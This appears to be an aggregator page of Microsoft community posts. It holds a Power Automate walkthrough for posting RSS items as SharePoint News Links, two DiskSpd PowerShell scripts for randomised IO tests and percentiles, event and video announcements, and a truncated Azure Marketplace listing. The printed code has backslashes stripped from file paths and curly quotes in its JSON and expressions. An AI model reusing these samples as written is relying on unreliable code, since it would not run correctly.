Use Power Automate to automatically create SharePoint News Links from an RSS feed

Use Power Automate to automatically create SharePoint News Links from an RSS feed

This article is contributed. See the original author and article here.

There’s a blog for that


A somewhat common complaint I’ve heard from organizations I’ve worked with is that folks within the organization frequently are unaware of press releases, blogs, or other information the organization is publicly sharing. In fact, I’m guilty of it as well. On numerous occasions, I’ve gone to a coworker for some quick troubleshooting only to be told “I wrote a blog for that”.


 


Now that Microsoft Viva Connections is here, I’ve been putting a lot of energy into my company’s SharePoint home site and trying to come up with ways to break down the information silo’s we’ve just naturally accrued over the years.


 


Fortunately, it turned out that our company blog already had an RSS feed setup, which opened up some opportunities, one of which was to create a flow in Power Automate that automatically creates a SharePoint “News Link” in our home site whenever a new blog post is published to our public site.


 


So, with this blog, we’ll walk through the steps used to accomplish that feat.


 


FlowOverview.png


 


Triggered


As with any flow, we need something to kick things off. I was afraid that this was going to be the biggest technical challenge but, thankfully, it turns out that there is a trigger purpose built to do exactly what we need: the When a feed item is published trigger!


 


1-trigger.png


 


As you can see, the configuration here is dead simple. You simply provide it the URL to an RSS feed and select either the PublishDate or UpdatedOn values. We’ll stick with the default PublishDate setting so that we’re only being triggered by brand new articles.


 


So, with this configuration, our flow will be executed anytime a new article is published to the XBOX news RSS feed.


 


Once triggered, seemingly regardless of the specific RSS feeds schema, a standardized JSON object is returned to the flow that gives us most of what we need.


 


{
“body”: {
“id”: “https://news.xbox.com/en-us/?p=152438”,
“title”: “Wasteland 3: The Battle of Steeltown Releasing June 3 “,
“primaryLink”: “https://news.xbox.com/en-us/2021/04/15/wasteland-3-the-battle-of-steeltown-releasing-june-3/”,
“links”: [
“https://news.xbox.com/en-us/2021/04/15/wasteland-3-the-battle-of-steeltown-releasing-june-3/”
],
“updatedOn”: “0001-01-01 00:00:00Z”,
“publishDate”: “2021-04-15 14:00:00Z”,
“summary”: “The Wasteland 3 team here at inXile is very excited to announce the first narrative expansion for Wasteland 3: The Battle of Steeltown will be releasing June 3. Since the game’s launch last August, we’ve been working on adding new features, quality of life changes, and fixing bugs and improving game stability and performance. But […]”,
“copyright”: “”,
“categories”: []
}
}

 


Even better, this data gets turned into variables we can access through the Dynamic Content selector in Power Automate.


 


1-blog-properties.png


 


Take a picture, it’ll last longer


One thing we don’t get is any sort of image to show, which is a bummer because without them, all of our News Links would end up looking like the below image.


 


3-blog-no-image.png


 


Thankfully, SharePoint has a handy-dandy little service hidden away that can help.


 


If you ever created a new “News Link”, you’ll know that you simply give SharePoint the URL to your article and it auto-magically snags the title, summary and a thumbnail image to use. If you open up your browser’s developer tools, you can see that SharePoint calls this _api/SP.Publishing.EmbedService/EmbedData endpoint, passing along an encoded URL and some additional query strings. It turns out that this is what handles all that ‘magic’ and it’s also something we can leverage for our own ends here!


 


Thanks to the output of our trigger, we know the URL of the blog post we’re working with, and we can access it through the 5-primaryfeedlink.png variable. However, we do need to make sure that the URL is in the right format, so we’ll create our own variable to make it so.


 


4-primarylinkencoded.png


 


We’ll call it PrimaryLinkEncoded, make it a string, and initialize its value using the following expression: concat(‘%27’,encodeUriComponent(triggerOutputs()?[‘body/primaryLink’]),’%27′)


 


Once run, we’ll end up with an encoded URL surrounded by apostrophes, which is what the EmbedData service expects.


 


Now that we have that we just need to call the aforementioned service using the Send an HTTP request to SharePoint action.


 


6-getthumbnail.png


 


We’ll be making a GET request to the root of our SharePoint site. Technically, this could be any SharePoint site you have access to, but since we’ll be posting news articles to our home site, we’ll just stick with that.


 


For the Uri configuration, we’re calling the previously mentioned service with a few required query string parameters like so: _api/SP.Publishing.EmbedService/EmbedData?url=@{variables(‘PrimaryLinkEncoded’)}&version=1&bannerImageUrl=true


 


We’re passing along the encoded URL we created in the last step, specifying version 1 (which is required, despite their only being one version) and we’re asking for the bannerImageUrl to be included (otherwise we’re not getting )


 


We only need to include one header, the accept header, with a value of application/json;odata.metadata=minimal.


 


Finally, to make things a bit easier to use in a moment, we’ll capture the output of this request into a variable using the Initialize Variable action again, like so.


 


7-BannerImageUrl.png


 


We’re creating a new string variable named BannerImageUrl and we’re setting its value using the following expression: outputs(‘Get_Thumbnail’)?[‘body’]?[‘d’]?[‘ThumbnailUrl’]


 


Compose yourself


Now that we’ve got just about everything we can get, we need to put into the format that SharePoint expects when creating a News Link item, so it’s time to prepare our payload using the Compose action.


 


8-compose.png


 


It’s a fairly simply and (mostly) self-explanatory bit of JSON, so we won’t dwell on it much. Below is the exact JSON used in the above screenshot.


 


{
“BannerImageUrl”: @{variables(‘BannerImageUrl’)},
“Description”: @{triggerOutputs()?[‘body/summary’]},
“IsBannerImageUrlExternal”: true,
“OriginalSourceUrl”: @{triggerOutputs()?[‘body/primaryLink’]},
“ShouldSaveAsDraft”: false,
“Title”: @{triggerOutputs()?[‘body/title’]},
“__metadata”: {
“type”: “SP.Publishing.RepostPage”
}
}

 


Spread the word


The only thing left to do now is make our post, which will do by using another Send an HTTP request to SharePoint action, shown below.


 


9-post.png


 


This time, we’ll be making a POST to the _api/sitepages/pages/reposts endpoint (which is what SharePoint does when you post a news link).


 


Our headers are only slightly more involved. Our endpoint is expecting to receive and will return JSON, so we need to include the appropriate headers…


 


{
“accept”: “application/json”,
“content-type”: “application/json;odata=verbose;charset=utf-8”
}

 


Last but not least, we need to include the Output of the compose action we created in the previous step so that SharePoint knows what we’re sharing.


 


Once that’s all setup, go ahead and save.


 


Wrapping up


At this point, you’re done developing. The only thing left to do is wait, really. Once new items are published to the RSS feed, you’ll eventually see them start showing up in your News web parts!


 


10-done.png


 

Hidden Treasure Part 2: Mining Additional Insights

Hidden Treasure Part 2: Mining Additional Insights

This article is contributed. See the original author and article here.

Written by Jason Yi, PM on the Azure Edge & Platform team at Microsoft. 


Acknowledgements: Dan Lovinger, Principal Software Engineer


 


On the last episode of discovering hidden treasure, we took a closer look at what type of data lies within the DiskSpd XML output. Today, we will examine an example of how to take advantage of that data and create new and practical insights.


 


DiskSpd on Azure


Let’s say that we are using Azure VMs to simulate some workload using DiskSpd. To visualize the data, let’s go ahead and use a short script that takes the XML output and extracts the total IOs per bucket into a CSV file for a more graphical view.


Picture1.png


 


As you can see, the IOPS are relatively constant, with an occasional bump. The reason is because we are maxing out the total number of IOPS on our Azure environment (3-node cluster using Standard B2ms) can handle. Azure also artificially throttles the IOPS limit based on your VM size and drive type. In our case, the VM limit is 1920 IOPS and you can see that our peak is ~1950 IOPS. The occasional spike and drop in IOPS is likely due to Azure attempting to rebalance itself and locate the throttle limit.


Using Azure VMs, we can see that the IOPS values are relatively constant, but that’s not very interesting nor is it representative of a real workload. The workloads in the real world are much messier and random. Perhaps there is a way to replicate random IO activity to represent a typical day to day activity. Well, you are in luck, because there is a script for that – Let’s try it!


 


Randomize IOPS experiment


Note: The IOPS variance is purely artificial and for educational purposes only. By no means does this replicate any real-world IO scenario.


 


To help demonstrate this experiment, I’ve written a short script called “iops_randomizer.ps1”, to simulate random IO activity. The script uses a set of parameters to run DiskSpd in short, one second bursts. The IO values are randomized each second by using the (-g) parameter to throttle the throughput, which in turn affects the IOPS limit. Here are the parameters for the script:



  • -d (mandatory) = The number of DiskSpd tests. Because each test run corresponds to one second, you can think of this as the total duration of the script.

  • -path (mandatory) = the path to the test file.

  • -rw_flag = Takes in one of two options, zero or one. 0 represents that the user wants to input their custom read/write ratio whereas 1 represents that the user wants a randomized read/write ratio, without providing the -w parameter value. The default selection will be 0 and if the user does not provide a complementary -w parameter value, the script will use a default value of -w 0 (100% read).

  • -g_min = The minimum value possible when randomizing the throughput (defines the min range). The default value is 0 bytes per milliseconds.

  • -g_max = The maximum value possible when randomizing the throughput (defines the max range). The default value is 8000 bytes per milliseconds.

  • -b = The block size in bytes. The default is 4096 bytes (4KiB).

  • -r = The random I/O aligned to the specified size in bytes. The default is 4096 bytes (4KiB).

  • -o = The outstanding IO requests per target per thread. The default is 32.

  • -t = The number of threads per target file. The default is 4.

  • -w = The percentage of operations that are write requests. The default is 0% writes, 100% reads.


 


Note: You may find that your IOPS values are ridiculously small. This is because the default parameters are not optimized to your powerful environment. Consequently, you may need to experiment with the (-g) parameter range. Remember that because they are in bytes per milliseconds, you will need to perform some unit conversion to confirm that you are efficiently randomizing your values.


 


Here is the conversion I used:


Picture2.png


 


Let’s now try running the following script:


Picture3.PNG


 


After about 120 seconds, you should see 3 files in your current directory.



  • expand_profile.xml : This file is created when the script is first run and contains all the DiskSpd test runs with their respective parameters. This is later fed into DiskSpd as an input. As a result, the file only contains the <Profile> element. You may use this file to modify any parameters you desire and feed it back into DiskSpd.

  • output.xml : This is the finalized output file that is created after the DiskSpd test is complete.

  • iops_stat_seconds.csv : This file contains the clean data for the number of IOs for each second the DiskSpd test was run.


Now that we have the csv output, we can create a graph that plots total IO vs time (seconds). We now have some variance in the number of IOs!


Picture4.png


 


IO Percentiles


As you’ve just seen, there is potential in experimenting with the xml output. Perhaps you wish to derive other data that may be valuable for your situation. For example, maybe we want to examine the percentile values of the IO operations. Let’s actually try it, we have a second script called “get_iops_percentile.ps1” that takes the iops_stat_seconds.csv file and calculates the percentile scores for the IO values. After running the script, you should see a file called iops_percentiles.csv as well as a copy of the output on the PowerShell terminal.


Picture5.png


 


These percentile values can help us understand the different segmentations of IO values, gauge the average IO output for each second, and identify trends. In our example, we can see that 99% of the IOPS are less than ~1635.


 


Bonus: rw_flag


This section is to provide more information on the rw_flag to clear up any potential confusion. You may be wondering what is the difference between using 0 and 1?


 


The main difference is that with an rw_flag of 0, you the user, can provide an additional write to read ratio parameter (-w) value. For example, if you provide 30, this means 30% of the IO will be writes and 70% of the IO will be reads. This also means that every DiskSpd test will use 30 as the write to read ratio, producing a consistent result between read IOs and write IOs in the long run.


 


However, with an rw_flag of 1, the user does not need to specify any read/write ratio. Instead, the ratio is randomized each second between 0% and 100%.


 


Using the performance monitor within Windows Admin Center, the result may look something like this: (left side uses rw_flag=0, right side uses rw_flag=1)


Picture6.png


Final remarks


Today’s experiment was one example of extrapolating new data from the XML output. If you believe DiskSpd is not giving you a specific metric and wish to infer other data, this may be one method of manually discovering new “treasures.” Have fun!


 


*Script 1: iops_randomizer*

# Written by Jason Yi, PM

<#
.PARAMETER d
integer number of diskspd runs (can consider it as duration since each run is one second long)
.PARAMETER path
the path to the test file
.PARAMETER rw_flag
the default is 0. 0 represents that the user wants to input their custom read/write ratio whereas 1 represents that the user wants a randomized read/write ratio
.PARAMETER g_min
the minimum g parameter (g parameter is the throughput threshold)
.PARAMETER g_max
the maximum g parameter (g parameter is the throughput threshold)
.PARAMETER b
the block size in bytes
.PARAMETER r
random IO aligned to specified size in bytes
.PARAMETER o
the queue depth
.PARAMETER t
the number of threads
.PARAMETER w
the ratio of write tests to read tests
#>
Param (
[Parameter(Position=0,mandatory=$true)][int]$d,
[Parameter(Position=2,mandatory=$true)][string]$path, # C:ClusterStorageCSV01IO.dat
[int]$rw_flag = 0,
[int]$g_min = 0,
[int]$g_max = 8000,
[int]$b = 4096,
[int]$r = 4096,
[int]$o = 32,
[int]$t = 4,
[int]$w = 0)

Function Create-Timespans{
<#
.DESCRIPTION
This function takes the input number of diskspd runs (or duration) and lasts for that input number of seconds while randomizing
the throughput threshold within a specified range. Includes same parameters initially passed in by user.
#>
Param (
[int]$d,
[string]$path,
[int]$g_min,
[int]$g_max,
[int]$b,
[int]$r,
[int]$o,
[int]$t,
[int]$w,
[int]$rw_flag
)



[xml]$xml=@"
<Profile>
<Progress>0</Progress>
<ResultFormat>xml</ResultFormat>
<Verbose>false</Verbose>
<TimeSpans>
<TimeSpan>
<CompletionRoutines>false</CompletionRoutines>
<MeasureLatency>true</MeasureLatency>
<CalculateIopsStdDev>true</CalculateIopsStdDev>
<DisableAffinity>false</DisableAffinity>
<Duration>1</Duration>
<Warmup>0</Warmup>
<Cooldown>0</Cooldown>
<ThreadCount>0</ThreadCount>
<RequestCount>0</RequestCount>
<IoBucketDuration>1000</IoBucketDuration>
<RandSeed>0</RandSeed>
<Targets>
<Target>
<Path>$path</Path>
<BlockSize>$b</BlockSize>
<BaseFileOffset>0</BaseFileOffset>
<SequentialScan>false</SequentialScan>
<RandomAccess>false</RandomAccess>
<TemporaryFile>false</TemporaryFile>
<UseLargePages>false</UseLargePages>
<DisableOSCache>true</DisableOSCache>
<WriteThrough>true</WriteThrough>
<WriteBufferContent>
<Pattern>sequential</Pattern>
</WriteBufferContent>
<ParallelAsyncIO>false</ParallelAsyncIO>
<FileSize>1073741824</FileSize>
<Random>$r</Random>
<ThreadStride>0</ThreadStride>
<MaxFileSize>0</MaxFileSize>
<RequestCount>$o</RequestCount>
<WriteRatio>$w</WriteRatio>
<Throughput>0</Throughput>
<ThreadsPerFile>$t</ThreadsPerFile>
<IOPriority>3</IOPriority>
<Weight>1</Weight>
</Target>
</Targets>
</TimeSpan>
</TimeSpans>
</Profile>
"@


# 1 flag means that the user wishes to randomize the rw ratio
# 0 flag means that the user wishes to control the rw ratio
# Basically, throw an error when the flag is no 0 or 1
if ( ($rw_flag -ne 1) -and ($rw_flag -ne 0) ){
throw "Invalid rw_flag value. Please choose 0 to provide your own rw ratio, or 1 to randomize the rw ratio.
"
}

$path = Get-Location
# loop up until the number of runs (duration) and add new timespan elements
for($i = 1; $i -lt $d; $i++){

$g_param = Get-Random -Minimum $g_min -Maximum $g_max
$true_w = Get-Random -Minimum 0 -Maximum 100

# if there is only one timespan, add another
if ($xml.Profile.Timespans.ChildNodes.Count -eq 1){

# clone the current timespan element, modify it, and append it as a child
$new_t = $xml.Profile.Timespans.Timespan.Clone()
$new_t.Targets.Target.Throughput = "$g_param"
if ($rw_flag -eq 1){
$new_t.Targets.Target.WriteRatio = "$true_w"
}
$null = $xml.Profile.Timespans.AppendChild($new_t)

}
else{

# clone the current timespan element, modify it, and append it as a child
$new_t = $xml.Profile.Timespans.Timespan[1].Clone()
$new_t.Targets.Target.Throughput = "$g_param"
if ($rw_flag -eq 1){
$new_t.Targets.Target.WriteRatio = "$true_w"
}
$null = $xml.Profile.Timespans.AppendChild($new_t)

}
}

# show updated result
$xml.Profile.Timespans.Timespan
# save into xml file
$xml.Save("$pathexpand_profile.xml")

}
#
# SCRIPT BEGINS #
#


# create the xml file with diskspd parameters
Create-Timespans -d $d -g_min $g_min -g_max $g_max -path $path -b $b -r $r -o $o -t $t -w $w -rw_flag $rw_flag


# create path, input file, and node variables
$path = Get-Location
# feed profile xml to DISKSPD with -X parameter (Running DISKSPD)
Invoke-Expression ".diskspd.exe -X'$pathexpand_profile.xml' > output.xml"

$file = [xml] (Get-Content "$pathoutput.xml")


$nodelist = $file.SelectNodes("/Results/TimeSpan/Iops/Bucket")
$ms = $nodelist.getAttribute("SampleMillisecond")

# store the bucket objects into a variable
$buckets = $file.Results.TimeSpan.Iops.Bucket

# change the millisecond values to seconds
$time_arr = 1..$d
foreach ($t in $time_arr){
$buckets[$t-1].SampleMillisecond = "$t"
}

# select the objects you want in the csv file
$nodelist |
Select-Object @{n='Time (s)';e={[int]$_.SampleMillisecond}},
@{n='Total IOs';e={[int]$_.Total}} |
Export-Csv "$pathiops_stat_seconds.csv" -NoTypeInformation -Encoding UTF8 -Force # Have to force encoding to be UTF8 or data is in one column (UCS-2)

# import modified csv once more
$fileContent = Import-csv "$pathiops_stat_seconds.csv"

# if duration is less than 7 (number of percentile ranks), then add empty rows to fill that gap
if ($d -lt 7 ) {
for($i=$d; $i -lt 7; $i++) {
# add new row of values that are empty
$newRow = New-Object PsObject -Property @{ "Time (s)" = '' }
$fileContent += $newRow
}
}

# show output in the terminal
$fileContent | Format-Table -AutoSize

# export to a final csv file
$fileContent | Export-Csv "$pathiops_stat_seconds.csv" -NoTypeInformation -Encoding UTF8 -Force

 


*Script 2: get_iops_percentiles*

# Written by Jason Yi, PM

Function Get-IopsPercentiles{
<#
.DESCRIPTION
This function expects an array of sorted iops, length of the iops array, and an array of percentiles. For the given array of percentiles,
it returns the calculated percentile value for the set of iops numbers.

.PARAMETER sort_iops
array of sorted iops values from the input file
.PARAMETER iops_len
length of the sort_iops array
.PARAMETER percentiles
array of the percentiles you wish to find
#>
Param (
[array]$sort_iops,
[int]$iops_len,
[array]$percentiles)

$new_iops = New-Object System.Collections.ArrayList($null)
# loop through the percentiles array
foreach ($k in $percentiles) {

[Double]$num = ($iops_len - 1) * $k + 1

# if num is equal to 1 then add the first element to array
if ($num -eq 1) {

[void]$new_iops.Add( $sort_iops[0])
}

# if num is equal to the length of array then add the last element to array
elseif ($num -eq $iops_len) {
[void]$new_iops.Add( $sort_iops[$iops_len-1])
}

else {
$val = [Math]::Floor($Num)

#get decimal portion of the num
[Double]$dec = $num - $val

[void]$new_iops.Add( $sort_iops[$val - 1] + $dec * ($sort_iops[$val] - $sort_iops[$val - 1]))
}

}
return $new_iops

}


# Set path and import the csv file
$path = Get-Location
$file = Import-Csv "$pathiops_stat_seconds.csv"

#$sort_iops = $file."Total IOPS" | Sort-Object -Property {$_ -as [decimal]}


# sort the values in IOPS column in ascending order
$sort_iops = [decimal[]] $file."Total IOs"
[Array]::Sort($sort_iops)

# remove the empty or 0 values
$sort_iops = @($sort_iops) -ne '0'

$iops_len = $sort_iops.Length
#$percentiles = (1,25,50,75,90,95,99)
$percentiles = (.01,.25,.50,.75,.90,.95,.99)

# find the calculated percentiles and put them in an array
$new_iops = Get-IopsPercentiles $sort_iops $iops_len $percentiles

# if the old iops length is less than the length of the new calculated iops scores, then that new length is the iops_len
$new_iops_len = $new_iops.Length
if($iops_len -le $new_iops_len){
$iops_len = $new_iops_len
}


# loop through all the CSV rows and insert 2 new columns for the percentile rank and scores
for ($i = 0; $i -lt $iops_len; $i++) {
$value = if ($i -lt $percentiles.Count) { $percentiles[$i] } else { $null }
$file[$i] | Add-Member -MemberType NoteProperty -Name "Percentile Rank" -Value $value

$value2 = if ($i -lt $percentiles.Count) { $new_iops[$i] } else { $null }
$file[$i] | Add-Member -MemberType NoteProperty -Name "IOPS %-tile Score" -Value $value2

}

# Show output to terminal
$file | Format-Table -AutoSize

# Export to a new CSV file
$file | Export-Csv -Path "$pathiops_percentiles.csv" -NoTypeInformation -Force

 

Microsoft Federal Collaboration and Cybersecurity Summit

Microsoft Federal Collaboration and Cybersecurity Summit

This article is contributed. See the original author and article here.

reg is open.jpg


 


 


Here at Microsoft, our mission is to empower every person on the planet to achieve more.

Microsoft Federal shares that commitment to further our government customers’ digital transformation, innovation, and secure government collaboration.

Please  join us  next Tuesday for our  Federal Collaboration and Cybersecurity Summit a half-day virtual event at no additional cost designed to advance U.S. Federal agencies collaboration and cybersecurity initiatives. 


Microsoft is bringing together executives and leaders from U.S. Federal agencies to deliver key insights, lessons learned, and practical guidance on:


 



  • Advancing Cybersecurity in the Federal Government

  • Cultural transformations that drive new ways of working and digital modernization.

  • Breaking down silos to facilitate partnership with industry and academia.

  • Connecting with people and information from the office or in the field to securely share and protect sensitive information.


In the face of unprecedented challenges today, leadership resiliency is paramount.  The high stakes of cybersecurity challenges continue to increase and evolve with no end in sight.  The frequency of cybersecurity threats and their level of sophistication have and will continue to grow and as the threat of cyber-breaches increase, so does the need for intergovernmental collaboration, communications, and data sharing.


 


Click HERE to register today and learn more.


 

Use Helm Charts from Windows Client Machine to Deploy SQL Server 2019 Containers on Kubernetes

This article is contributed. See the original author and article here.

Helm is the package manager for Kubernetes itself. Learn with Amit Khandelwal on Data Exposed how you can use Helm from your Windows machine to deploy SQL Server 2019 containers on Kubernetes all in less than 5 minutes.


 


Watch on Data Exposed



Resources:

Deploy SQL Server on Azure Kubernetes Service cluster via Helm Charts – on a windows client machine



 


View/share our latest episodes on Channel 9 and YouTube!

Azure Marketplace new offers – Volume 130

Azure Marketplace new offers – Volume 130

This article is contributed. See the original author and article here.











We continue to expand the Azure Marketplace ecosystem. For this volume, 86 new offers successfully met the onboarding criteria and went live. See details of the new offers below:





































































































































































































































































































































































 


Applications


 


uiCOCKPIT.png

[ui!] COCKPIT: Urban Software Institute’s [ui!] COCKPIT enables visualization of complex data from a cloud-based platform, such as [ui!] UrbanPulse. Choose from different visualizations, providing general information for the public, management decision aids, and customized applications for specific subjects.


AdstraConsumerEssentials.png

Adstra Consumer Essentials: Adstra Consumer Essentials provides a comprehensive data set of more than 230 million US-based individuals, including data elements commonly used by marketers and advertisers. The proprietary data set is drawn from various sources including public records and a leading global risk/fraud prevention provider.


AITRICS.png

AITRICS: VitalCare from AITRICS is a risk-prediction system built on Microsoft AI services. VitalCare directly collects patient data, such as vital signs and lab tests, from electronic medical records and generates prediction scores for clinical deterioration and sepsis.


AlefPlatform.png

Alef Platform: Alef Education’s platform provides data analytics to help teachers focus on where students are in their mastery of a subject. Alef provides experiential learning that enables students to apply and transfer their newly acquired skills.


AlgoSupplyChainAnalyticsCollaborativePlatform.png

Algo Supply Chain Analytics Collaborative Platform: Algo’s advanced analytics solutions help companies operate highly efficient supply chains by using AI and deep learning to maximize revenue and profit while optimizing inventory spending. Business users can interact with Algo using chat functionality through platforms such as Microsoft Teams.


ApacheWebServerwithDebian10.png

Apache Web Server with Debian 10: Cognosys provides this ready-to-run image containing Apache HTTP Server 2.4.38 installed on Debian 10 Linux. Apache includes software to handle multi-processing modes and support for SSL v3 and TLS via mod_ssl.


Apifon-Multi-channelBusinessMessagingPlatform.png

Apifon – Multi-channel Business Messaging Platform: With Apifon’s messaging platform, you can engage customers through their favorite channels, track the performance of your campaigns, and turn data into KPIs that help you increase your ROI.


atmaioConnectedProductCloud.png

atma.io Connected Product Cloud: Avery Dennison’s atma.io platform creates, manages, and assigns digital identities to products, enabling end-to-end transparency for tracking, storing, and managing events for individual products from source to consumer.


AvnetIoTConnectandSmartFactory.png

Avnet IoT Connect and Smart Factory: Built on IoTConnect and Microsoft Azure, Avnet’s Smart Factory solution helps you monitor and track the production and performance on your factory floor. Gain real-time insights for all locations and integrate your data with supply chain management systems.


AwarenessPlatform.png

Awareness Platform: This solution from i5 B. V. provides ready-to-go professional learning focused on security and privacy to reduce risky behavior by your employees. With Awareness Platform, you can customize courses with a few clicks to match your organization’s policies.


BoxOpsPlatform.png

BoxOps Platform: BoxBoat’s BoxOps is a DevSecOps service solution designed for software teams, enterprise operations, and IT staff who want to accelerate their end-to-end management of app deployment.


ChatbotSmartRH.png

Chatbot Smart RH: SMART RH from Alexys Solutions is an AI-powered chatbot designed to serve internal collaborators seeking HR assistance for leave requests, work certifications, and more. Automate HR requests and free employee time to concentrate on high-value work.


CloudCover365Exchangebackup.png

CloudCover 365: Exchange Backup: CloudCover 365 from virtualDCS lets you back up and restore Exchange Online data, including email, calendars, contacts, and more. The browser-based portal integrates with Veeam Backup 365 and Azure Active Directory.


OneDriveforBusinessCloudBackup.png

CloudCover 365:OneDrive for Business Backup: Back up OneDrive for Business data through a browser-based portal with CloudCover 365 from virtualDCS. CloudCover 365 integrates with Veeam Backup 365 and Azure Active Directory.


CompleteCloudBackupforMicrosoft365.png

Complete Cloud Backup for Microsoft 365: Implement CloudCover 365 from virtualDCS to back up and restore Microsoft 365 data, customize retention plans, schedule backups, and more. The browser-based portal integrates with Veeam Backup 365 and Azure Active Directory.


COMtracInvestigationandBriefManagementSolution.png

COMtrac Investigation & Brief Management Solution: COMtrac provides a consistent approach to managing investigations. The COMtrac platform is a management solution for cases, evidence, and briefs that can be used for all types of investigations by private sector clients and government entities.


ConnectedHeavyMachinery.png

Connected Heavy Machinery: Improve operational safety and utilization of your plants with Equiprise’s cloud-based monitoring solution built on IoT technology. Connected Heavy Machinery connects your equipment and provides you with key performance data.


CRMSensor.png

CRMSensor: Designed for retail chains, banks, healthcare providers, and convenience stores, CRMSensor is an Azure-based system that enables you to communicate interactively with customers. The solution includes an app for Android tablets and customized CRMSensor devices.


DataInsights.png

Data Insights: The oh22 Data Insights solution provides consulting, development, and implementation of a custom enterprise data solution based on Microsoft Azure Synapse Analytics, Azure Data Lake, and Azure Data Factory.


DigitalCustomerExperience.png

Digital Customer Experience: The EY Global Digital Customer Experience solution utilizes Microsoft Dynamics 365 along with an innovative array of EY tools and services, from UX to market research and content writing. Respond to digital change, cut costs, and make your organization fit for growth.


DigitalProcessIntegrationPlatform.png

Digital Process Integration Platform: PlanB. GmbH provides universal microservices for integration of your cloud-based digital services and applications. The PlanB. platform simplifies API management and integrates with on-premises systems, including ERP, CRM, project portfolio management, and manufacturing execution systems.


DigitalSalesServices.png

Digital Sales Services: Softtek enables digital sales from demand generation to e-commerce. Built on Microsoft Azure, Power BI, and Azure-based services, Digital Sales Services enables logistics, last-mile delivery, payments, and analytics.


DNAZ-DigitalBankingShrink-wrapped.png

DNA Z – Digital Banking Shrink-wrapped: DNA Z is an end-to-end digital banking solution for new or existing banks that is deployable on Microsoft Azure. The system includes a blueprint for bank policies and frameworks, fully mapped journeys, operating processes, mobile apps, and data analytics.


DockerCEwithDebian10.png

Docker CE with Debian 10: Cognosys has configured this ready-to-run image of Docker CE 20.10.4 on Debian 10 Linux. Docker Community Server is designed for developers and small teams looking to start with Docker and container-based apps. The image includes built-in orchestration, networking, and security.


EskerOrderManagementAutomation.png

Esker Order Management Automation: Order Management from Esker SA uses AI and robotic process automation to increase the efficiency of sales order processing. Customer service teams can electronically process and track faxes, emails, and orders with improved monitoring and accuracy.


ExperianOpenDataPlatform.png

Experian Open Data Platform: The Open Data Platform (ODP) gives you instant access to a customer’s financial information via Experian’s consumer and business credit information. You can easily create a picture of customer financial well-being to deliver new products and services.


GitlabCommunityEditionWithDebian10.png

GitLab Community Edition with Debian 10: Cognosys has pre-configured this ready-to-run image containing GitLab 13.9.1 on Debian 10 Linux. GitLab is a fast DevOps tool that provides a web-based method for managing Git repositories. GitLab includes wikis, issue tracking, and CI/CD pipelines.


GrafanawithDebian10.png

Grafana with Debian 10: Cognosys has pre-configured this ready-to-run image containing Grafana 7.4.3 on Debian 10 Linux. Grafana is a multi-platform, open-source web application providing analytics and interactive visualizations.


GrafanawithUbuntu1804LTS.png

Grafana with Ubuntu 18.04 LTS: Cognosys has pre-configured this ready-to-run image containing Grafana 7.4.3 on Ubuntu 18.04 LTS. Grafana is a multi-platform, open-source web application providing analytics and interactive visualizations.


GrafanawithUbuntu2004LTS.png

Grafana with Ubuntu 20.04 LTS: Cognosys has pre-configured this ready-to-run image containing Grafana 7.4.3 on Ubuntu 20.04 LTS. Grafana is a multi-platform, open-source web application providing analytics and interactive visualizations.


Haproxy18withDebian10.png

HAProxy 1.8 with Debian 10: Cognosys has pre-configured this ready-to-run image containing HAProxy 1.8.19 on Debian 10 Linux. HAProxy is an open-source, high-availability server that provides TCP/HTTP load balancing and proxying.


IBMWebSphereProductFamilyonAzureOverview.png

IBM WebSphere Product Family on Azure Overview: The IBM WebSphere product family is a suite of enterprise Java application servers that enable enterprise Java workloads on Microsoft Azure. These servers run on Microsoft Azure Red Hat OpenShift, Azure Kubernetes Service, and VMs.


IntelligentDataPlatform.png

Intelligent Data Platform: Powered by Microsoft Azure, the EY Intelligent Data Platform is a scalable solution to optimize data in real-time, generate rapid insights, enhance decision-making, and deliver greater business value. The platform supports risk management, regulatory reporting, governance, and more.


ioMoVo.png

ioMoVo: ioMoVo offers you a range of storage, data exchange, and multimedia management options for cloud or on-premises storage. This solution from Practical Solutions Inc. provides secure access to your data and lets you interconnect multiple storage platforms.


ioMoVoS.png

ioMoVoS: An add-in for the Practical Solutions Inc. ioMoVo platform, ioMoVoS provides media services such as video indexing, analysis of media with machine learning, publication to external video platforms, and more.


IoTAmbientConditionsIntelligentService.png

IoT Ambient Conditions Intelligent Service: IoT Ambient Conditions Intelligence Service helps data center operators, manufacturers, and plant operators improve their performance and reduce costs by improving the operational ambient conditions and reducing equipment maintenance.


JenkinsWithDebian10.png

Jenkins with Debian 10: Cognosys has pre-configured this ready-to-run image containing Jenkins 2.263.4 on Debian 10 Linux. Jenkins is a Java-based open-source tool providing continuous integration services for software development.


KeyScalerforAzureSphere.png

KeyScaler for Azure Sphere: Device Authority provides Sphere Security Automation powered by Keyscaler to enable end-to-end service offerings with enhanced security on Microsoft Azure Sphere.


LAMPWithDebian10.png

LAMP with Debian 10: Cognosys has pre-configured this ready-to-run image containing a LAMP (Linux Apache MySQL PHP) stack on Debian 10 Linux. This image has been designed for enterprise customers who want to deploy a secure LAMP server. This image contains Apache HTTP Server 2.4.38, PHP 7.3, and MySQL Server 8.0.23.


MicrosoftTeamsVoIPCallingSolutions.png

Microsoft Teams VoIP Calling Solutions: Add a virtualDCS calling plan to extend your Microsoft Teams solution by enabling VoIP calling to non-Teams devices and telephones. virtualDCS offers a range of telephony services that integrate with Teams to meet your business requirements.


ModernWorkplace.png

Modern Workplace: The EY Modern Workplace services provide integrated and secure solutions for collaboration built on Microsoft 365, Windows 10, and enterprise mobility. With EY, you can be confident of having the right strategy, technology, capabilities, and governance to fuel and sustain your work.


MozzazDigitalHealthPlatformSaaS.png

Mozzaz Digital Health Platform (SaaS): Mozzaz is a digital health technology company that specializes in interactive solutions for remote patient monitoring, active engagement, and virtual telehealth. The Mozzaz platform provides over 200 digital solution libraries based on clinically proven interventions.


NetFoundryEdgeRouter.png

NetFoundry Edge Router: NetFoundry Edge Routers provide zero trust connectivity between Microsoft Azure and any site, edge device, private/public clouds, and hybrid applications. Create orchestrated networks delivered as a service to replace VPNs and SD-WAN.


Nextcloud-Theself-hostedproductivityplatform.png

Nextcloud – The self-hosted productivity platform: Linnovate offers this self-hosted instance of Nextcloud Flow, enabling users to quickly and securely share files and folders. Nextcloud Flow features file access control, encryption, authentication, and ransomware recovery capabilities.


OnlineCloudBackupforSharePoint.png

Online Cloud Backup for SharePoint: Back up SharePoint data through a browser-based portal with CloudCover 365 from virtualDCS. CloudCover 365 integrates with Veeam Backup 365 and Azure Active Directory.


PachydermEnterprise.png

